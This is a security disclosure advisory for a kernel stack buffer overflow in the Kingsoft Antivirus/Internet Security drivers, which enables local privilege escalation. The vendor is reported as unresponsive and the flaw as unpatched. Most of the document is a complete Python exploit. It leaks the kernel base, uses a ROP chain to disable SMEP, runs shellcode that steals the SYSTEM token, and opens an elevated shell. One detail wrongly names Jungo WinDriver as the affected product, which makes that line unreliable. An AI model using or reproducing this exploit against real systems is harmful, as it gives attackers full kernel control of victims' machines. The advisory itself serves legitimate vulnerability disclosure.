SSD Advisory – Kingsoft Antivirus/Internet Security 9+ Privilege Escalation
Credit to Author: SSD / Maor Schwartz| Date: Tue, 26 Dec 2017 10:03:53 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
Vulnerability Summary
The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.
Kingsoft Antivirus “provides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus.”
Credit
An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability.
Vulnerability details
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver.
The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.
The driver doesn’t properly validate user-supplied data which can result in a kernel stack buffer overflow.
An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | import sys from ctypes import * from time import sleep from ctypes.wintypes import * import struct import os from random import choice kernel32 = windll.kernel32 ntdll = windll.ntdll MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0 def get_ioctl(): return choice([0x80030004, 0x80030008]) def alloc_shellcode(base, input_size): “”” allocates some shellcode ““” print “(+) allocating shellcode @ 0x%x” % base baseadd = c_int(base) size = c_int(input_size) # –[ setup] input = struct.pack(“<I”, 0x000506f8) # bypass smep # –[ setup] input += “x60” # pushad input += “x64xa1x24x01x00x00” # mov eax, fs:[KTHREAD_OFFSET] # I have to do it like this because windows is a little special # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80. input += “x8dx40x70” # lea eax, [eax+0x70]; input += “x8bx40x10” # mov eax, [eax+0x10]; input += “x89xc1” # mov ecx, eax (Current _EPROCESS structure) # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += “x8Bx98xfcx00x00x00” # mov ebx, [eax + TOKEN_OFFSET] # –[ copy system PID token] input += “xbax04x00x00x00” # mov edx, 4 (SYSTEM PID) input += “x8bx80xb8x00x00x00” # mov eax, [eax + FLINK_OFFSET] <-| input += “x2dxb8x00x00x00” # sub eax, FLINK_OFFSET | input += “x39x90xb4x00x00x00” # cmp [eax + PID_OFFSET], edx | input += “x75xed” # jnz ->| # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += “x8bx90xfcx00x00x00” # mov edx, [eax + TOKEN_OFFSET] input += “x89x91xfcx00x00x00” # mov [ecx + TOKEN_OFFSET], edx # –[ recover] input += “x61” # popad input += “x83xc4x0c” # adjust the stack by 0xc input += “x31xc0” # return NTSTATUS = STATUS_SUCCESS input += “xc3” # ret # filler input += “x43” * (input_size–len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print “(-) Error while allocating memory: %s” % hex(dwStatus + 0xffffffff) return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print “(-) Error while writing our input buffer memory: %s” % write return False return True def alloc(base, input_size, ip): baseadd = c_int(base) size = c_int(input_size) input = “x44” * 0x40 # offset to ip # start our rop chain input += struct.pack(“<I”, nt + 0x51976f) # pop ecx; ret input += struct.pack(“<I”, 0x75757575) # junk input += struct.pack(“<I”, 0x76767676) # junk input += struct.pack(“<I”, ip) # load 0x506f8 input += struct.pack(“<I”, nt + 0x04664f) # mov eax, [ecx]; ret input += struct.pack(“<I”, nt + 0x22f2da) # mov cr4,eax; ret input += struct.pack(“<I”, ip + 0x4) # &shellcode # filler input += “x43” * (input_size–len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print “(-) error while allocating memory: %s” % hex(dwStatus + 0xffffffff) sys.exit() written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print “(-) error while writing our input buffer memory: %s” % write sys.exit() def we_can_trigger_overflow(): GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL_VULN = get_ioctl() DEVICE_NAME = “\\.\KWatch3” dwReturn = c_ulong() driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) ip = 0x24242424 inputbuffer = 0x41414141 inputbuffer_size = 0x60 outputbuffer_size = 0x1000 outputbuffer = 0x20000000 alloc(inputbuffer, inputbuffer_size, ip) alloc_shellcode(ip, 0x100) alloc(outputbuffer, 0x100, ip) IoStatusBlock = c_ulong() if driver_handle: print “(+) sending stack overflow…” dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), IOCTL_VULN, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) return True return False def we_can_leak_the_base(): “”“ Get kernel base address. This function uses psapi!EnumDeviceDrivers which is only callable from a non-restricted caller (medium integrity or higher). Also the assumption is made that the kernel is the first array element returned. ““” global nt print “(+) enumerating kernel base address…” array = c_ulonglong * 1024 lpImageBase = array() szDriver = array() cb = sizeof(lpImageBase) lpcbNeeded = c_long() res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase), sizeof(lpImageBase), byref(lpcbNeeded)) if not res: print “(-) unable to get kernel base: “ + FormatError() sys.exit(–1) # nt is the first one nt = lpImageBase[0] & 0x00000000ffffffff return True def main(): print “nt–[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]” print “t Steven Seeley (mr_me) of Source Incitern” if we_can_leak_the_base(): print “(+) found nt base at 0x%08x” % (nt) if we_can_trigger_overflow(): os.system(“cmd.exe”) else: print “(-) it appears that kingsoft Internet Security is not installed!” if __name__ == ‘__main__’: main() |